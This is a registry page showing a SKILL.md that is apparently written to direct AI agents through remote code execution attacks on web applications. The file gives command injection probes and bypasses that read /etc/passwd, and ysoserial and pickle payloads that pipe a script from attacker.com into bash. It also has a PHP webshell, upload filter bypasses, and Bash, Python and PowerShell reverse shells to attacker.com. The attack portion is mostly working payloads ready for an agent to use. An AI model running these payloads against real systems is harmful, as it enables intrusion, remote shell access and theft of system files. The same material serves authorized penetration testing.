agentleFS
sunilgentyalasunilgentyala/OmniRed/skills/web/rce/SKILL.md

rce

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

Remote Code Execution methodology covering command injection, deserialization, file upload RCE, and code injection in web applications. Includes reverse shell payloads and post-exploitation pivoting.

  • Pipes a download into a shell

4 other projects use a version of this.

Adopted by

Most recently taken up by

The file

We split this skill into the rules it gives an agent

2 rules. 0 are common, 2 are distinctive, and 0 are very specific to this project.

  • 0

    Common

    Most of the 4 edited versions we read keep these.

  • 2

    Distinctive

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Test in all user-controlled parameters that might reach OS commands: ping fields, domain lookup, file conversion tools, image processors, …

    line 23
  2. Distinctive:

    Use YSoSerial.Net for ASP.NET ViewState/machineKey-based deserialization.

    line 68

“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Remote Code Execution (RCE)

Command Injection

Detection

; id
| id
&& id
` id `
$(id)
%0aid

Test in all user-controlled parameters that might reach OS commands: ping fields, domain lookup, file conversion tools, image processors, log viewers.

Blind command injection (OOB)

; nslookup burpcollaborator.net
| curl http://burpcollaborator.net/`whoami`
$(curl http://burpcollaborator.net/$(id))

Bypass techniques

# Space bypass
{cat,/etc/passwd}
cat${IFS}/etc/passwd
X=$'\x20'&&cat${X}/etc/passwd

# Quote bypass
c"a"t /etc/passwd
c'a't /etc/passwd

# Wildcard
/b?n/c?t /etc/passwd

Deserialization RCE

Java (ysoserial):

java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' | base64 -w0

Python pickle:

import pickle, base64, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

print(base64.b64encode(pickle.dumps(Exploit())).decode())

.NET (ViewState): Use YSoSerial.Net for ASP.NET ViewState/machineKey-based deserialization.

File Upload RCE

  1. Upload a PHP/ASPX/JSP webshell
  2. Bypass extension filters: .phtml, .php5, .pHp, file.php%00.jpg
  3. Bypass MIME type filters: set valid Content-Type: image/jpeg header
  4. Find the uploaded file via directory bruteforce or error message disclosure
  5. Execute commands via the webshell

Simple PHP webshell:

<?php system($_GET['cmd']); ?>

Reverse Shell Payloads

# Bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PowerShell
$c=New-Object Net.Sockets.TCPClient("attacker.com",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+">";$sb=[Text.Encoding]::ASCII.GetBytes($r2);$s.Write($sb,0,$sb.Length)}

Tools

MITRE ATT&CK

  • T1059 — Command and Scripting Interpreter
  • T1190 — Exploit Public-Facing Application

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.